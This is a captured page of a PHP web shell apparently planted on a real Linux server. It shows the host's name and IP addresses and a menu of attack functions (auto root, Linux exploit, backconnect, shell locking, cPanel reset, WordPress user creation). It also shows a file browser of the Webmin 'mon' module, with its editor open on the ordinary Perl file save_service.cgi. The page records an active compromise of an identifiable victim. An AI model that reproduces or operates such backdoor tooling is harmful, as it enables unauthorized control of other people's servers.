Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
mon /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
113
B
-rw-r--r--
README
287
B
-rw-r--r--
backup_config.pl
732
B
-rwxr-xr-x
config
201
B
-rw-r--r--
config-Fedora-Linux
189
B
-rw-r--r--
config.info
362
B
-rw-r--r--
config.info.ca
397
B
-rw-r--r--
config.info.cs
375
B
-rw-r--r--
config.info.de
429
B
-rw-r--r--
config.info.es
399
B
-rw-r--r--
config.info.nl
420
B
-rw-r--r--
config.info.no
381
B
-rw-r--r--
config.info.ru
506
B
-rw-r--r--
config.info.uk
511
B
-rw-r--r--
create_watch.cgi
281
B
-rwxr-xr-x
edit_auth.cgi
1.43
KB
-rwxr-xr-x
edit_global.cgi
2.01
KB
-rwxr-xr-x
edit_service.cgi
8.05
KB
-rwxr-xr-x
edit_user.cgi
1.38
KB
-rwxr-xr-x
edit_watch.cgi
2.21
KB
-rwxr-xr-x
feedback_files.pl
113
B
-rwxr-xr-x
index.cgi
1.52
KB
-rwxr-xr-x
install_check.pl
329
B
-rwxr-xr-x
list_groups.cgi
832
B
-rwxr-xr-x
list_periods.cgi
2.09
KB
-rwxr-xr-x
list_users.cgi
1.03
KB
-rwxr-xr-x
list_watches.cgi
1.26
KB
-rwxr-xr-x
module.info
181
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
108
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
136
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
166
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
171
B
-rw-r--r--
module.info.ca
117
B
-rw-r--r--
module.info.ca.auto
13
B
-rw-r--r--
module.info.cs
37
B
-rw-r--r--
module.info.cs.auto
86
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
108
B
-rw-r--r--
module.info.de
111
B
-rw-r--r--
module.info.de.auto
12
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
192
B
-rw-r--r--
module.info.es
32
B
-rw-r--r--
module.info.es.auto
91
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
121
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
168
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
105
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
126
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
136
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
119
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
122
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
121
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
160
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
138
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
141
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
128
B
-rw-r--r--
module.info.ms
105
B
-rw-r--r--
module.info.ms.auto
12
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
132
B
-rw-r--r--
module.info.nl
28
B
-rw-r--r--
module.info.nl.auto
89
B
-rw-r--r--
module.info.no
31
B
-rw-r--r--
module.info.no.auto
82
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
112
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
122
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
131
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
128
B
-rw-r--r--
module.info.ru
38
B
-rw-r--r--
module.info.ru.auto
154
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
122
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
113
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
117
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
255
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
123
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
214
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
158
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
155
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
121
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
130
B
-rw-r--r--
mon-lib.pl
8.96
KB
-rwxr-xr-x
mon.cgi
998
B
-rwxr-xr-x
mon_action.cgi
415
B
-rwxr-xr-x
moncmd.diff
2.52
KB
-rw-r--r--
moncmd.pl
5.66
KB
-rwxr-xr-x
monshow.cgi
564
B
-rwxr-xr-x
monshowrc
166
B
-rw-r--r--
restart.cgi
180
B
-rwxr-xr-x
save_auth.cgi
625
B
-rwxr-xr-x
save_global.cgi
1.7
KB
-rwxr-xr-x
save_groups.cgi
656
B
-rwxr-xr-x
save_periods.cgi
1.11
KB
-rwxr-xr-x
save_service.cgi
4.71
KB
-rwxr-xr-x
save_user.cgi
823
B
-rwxr-xr-x
save_watch.cgi
370
B
-rwxr-xr-x
start.cgi
226
B
-rwxr-xr-x
stop.cgi
423
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_service.cgi
#!/usr/bin/perl # save_service.cgi # Save, create or delete a service require './mon-lib.pl'; &ReadParse(); $conf = &get_mon_config(); $watch = $conf->[$in{'idx'}]; if ($in{'sidx'} ne '') { $oldservice = $service = $watch->{'members'}->[$in{'sidx'}]; } else { $service = { 'name' => 'service', 'indent' => ' ', 'members' => [ ] }; } &error_setup($text{'service_err'}); if ($in{'delete'}) { # Delete this service from the watch &save_directive($watch->{'members'}, $service, undef); } else { # Validate and store service inputs $in{'name'} =~ /^\S+$/ || &error($text{'service_ename'}); $service->{'values'} = [ $in{'name'} ]; $in{'interval'} =~ /^\d+$/ || &error($text{'service_einterval'}); # Save the description if ($in{'desc'}) { &set_directive($service->{'members'}, "description", $in{'desc'}); } else { &set_directive($service->{'members'}, "description"); } &set_directive($service->{'members'}, "interval", $in{'interval'}.$in{'interval_u'}); if ($in{'monitor_def'}) { &set_directive($service->{'members'}, "monitor", $in{'monitor'}.' '.$in{'args'}); } else { $in{'other'} =~ /^\S+$/ || &error($text{'service_eother'}); &set_directive($service->{'members'}, "monitor", $in{'other'}.' '.$in{'args'}); } # Validate and store each period for($i=0; defined($in{"idx_$i"}); $i++) { # Save period time next if ($in{"delete_$i"}); local $period; if (!$in{'new'} && $in{"idx_$i"} ne '') { $period = $service->{'members'}->[$in{"idx_$i"}]; } else { $period = { 'name' => 'period', 'members' => [ ] }; } if ($in{"known_$i"} == 0) { $in{"pstr_$i"} =~ /\S/ || &error($text{'service_epstr'}); $period->{'values'} = [ $in{"pstr_$i"} ]; } elsif ($in{"known_$i"} == 2) { $period->{'values'} = [ $in{"name_$i"}.":" ]; } else { local @pv; if (!$in{"days_def_$i"}) { push(@pv, "wd {".$in{"dfrom_$i"}."-". $in{"dto_$i"}."}"); } if (!$in{"hours_def_$i"}) { $in{"hfrom_$i"} =~ /^(\d+)(am|pm|)$/ || &error(&text('service_ehour', $i+1)); $in{"hto_$i"} =~ /^(\d+)(am|pm|)$/ || &error(&text('service_ehour', $i+1)); push(@pv, "hr {".$in{"hfrom_$i"}."-". $in{"hto_$i"}."}"); } #@pv || &error(&text('service_eperiod', $i+1)); $period->{'values'} = \@pv; } # Save alerts local (@alert, @upalert, @startupalert); for($j=0; defined($in{"alert_${i}_${j}"}); $j++) { next if (!$in{"alert_${i}_${j}"}); local @v = ( $in{"alert_${i}_${j}"}, $in{"aargs_${i}_${j}"} ); if ($in{"atype_${i}_${j}"} eq 'alert') { push(@alert, { 'name' => 'alert', 'values' => \@v }); } elsif ($in{"atype_${i}_${j}"} eq 'upalert') { push(@upalert, { 'name' => 'upalert', 'values' => \@v }); } else { push(@startupalert, { 'name' => 'startupalert', 'values' => \@v }); } } &set_directive($period->{'members'}, "alert", @alert); &set_directive($period->{'members'}, "upalert", @upalert); &set_directive($period->{'members'}, "startupalert", @startupalert); # Save other period options if ($in{"every_def_$i"}) { &set_directive($period->{'members'}, "alertevery"); } else { $in{"every_$i"} =~ /^\d+$/ || &error($text{'service_eevery'}); &set_directive($period->{'members'}, "alertevery", $in{"every_$i"}.$in{"every_${i}_u"}); } if ($in{"after_def_$i"}) { &set_directive($period->{'members'}, "alertafter"); } else { $in{"after_$i"} =~ /^\d+$/ || &error($text{'service_eafter'}); if ($in{"after_interval_$i"} =~ /^\d+$/) { &set_directive($period->{'members'}, "alertafter", $in{"after_$i"}." ". $in{"after_interval_$i"}. $in{"after_interval_${i}_u"}); } } if ($in{"num_def_$i"}) { &set_directive($period->{'members'}, "numalerts"); } else { $in{"num_$i"} =~ /^\d+$/ || &error($text{'service_enum'}); &set_directive($period->{'members'}, "numalerts", $in{"num_$i"}); } push(@period, $period); } &set_directive($service->{'members'}, "period", @period); # Store the service in the config file &save_directive($watch->{'members'}, $oldservice, $service); } &flush_file_lines(); &redirect("list_watches.cgi"); # set_directive(&config, name, value, value, ..) sub set_directive { local @o = &find($_[1], $_[0]); local @n = @_[2 .. @_-1]; local $i; for($i=0; $i<@o || $i<@n; $i++) { local $idx = &indexof($o[$i], @{$_[0]}) if ($o[$i]); local $nv = ref($n[$i]) ? $n[$i] : { 'name' => $_[1], 'values' => [ $n[$i] ] } if (defined($n[$i])); if ($o[$i] && defined($n[$i])) { $_[0]->[$idx] = $nv; } elsif ($o[$i]) { splice(@{$_[0]}, $idx, 1); } else { push(@{$_[0]}, $nv); } } }
Close